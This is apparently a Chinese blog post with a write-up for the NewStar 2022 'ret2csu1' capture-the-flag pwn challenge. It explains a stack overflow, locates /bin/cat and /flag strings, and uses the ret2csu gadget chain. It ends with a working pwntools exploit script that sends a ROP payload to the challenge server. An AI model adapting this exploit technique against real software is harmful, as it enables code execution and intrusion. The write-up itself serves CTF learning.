2022NewStar新生赛—ret2csu1

先看看开了什么保护机制

打开64位ida看看

很清晰的一个函数,就是一个栈溢出,可以溢出0x48的大小,然后去找找system之类的

有个后门函数,点进去看看

有个execve函数,但是参数完全不对,这个函数的参数可以去看看我这个博客
[快点我去看博客](https://www.cnblogs.com/xyqer/articles/16757374.html)
也就是说我们得去找找/bin/sh或者是/bin/cat

一看,刚好/bin/sh和/flag都在,美滋滋
去看看他们的地址是多少

/bin/cat的地址可以直接用这个,但是/flag就不行,我博客里面说过第三个参数可是不止/flag,这时候我们得去源头看看,去看看哪里截出来的/flag,点击ida中右边蓝色的字就会自动跳转过去

aBinCat是/bin/cat,aFlag是/flag,第三个是0,齐了,那么这个就是第三个参数了,这样子参数齐了,我们直接去找万能gadget了,因为像这种三个参数都得自己写的一般只有万能gadget,不过保险起见我们还是ROPgadget搜索一下,顺便也看看万能gadget的地址,省得自己翻

看了一下,只有rdi其他的两个都没有,所以我们得用万能gadget,万能gadget一个很明显的特征就是pop r12;pop r13等等,那么我们就去ida看看万能gadget了

看了一下,然后根据不同参数去不同的寄存器,排一下就出来了

from pwn import*
#p=process('./pwn1')
p=remote('node4.buuoj.cn',25708)
bincat=0x4007bb
p.recvuntil('it!\n')
gadget1=0x400710
gadget2=0x40072a
payload=b'a'*0x28+p64(gadget2)+p64(0)+p64(1)+p64(0x601068)+p64(bincat)+p64(0x601050)+p64(0)+p64(gadget1)
p.sendline(payload)
p.interactive()
posted @ 2022-10-10 18:16  予柒  阅读(217)  评论(1编辑  收藏  举报
返回顶端
Live2D /*修改地一:waifu.css*/
/*修改地二:waifu.css*/
/*修改地三:live2d.js*/ /*修改地四:waifu-tips.js*/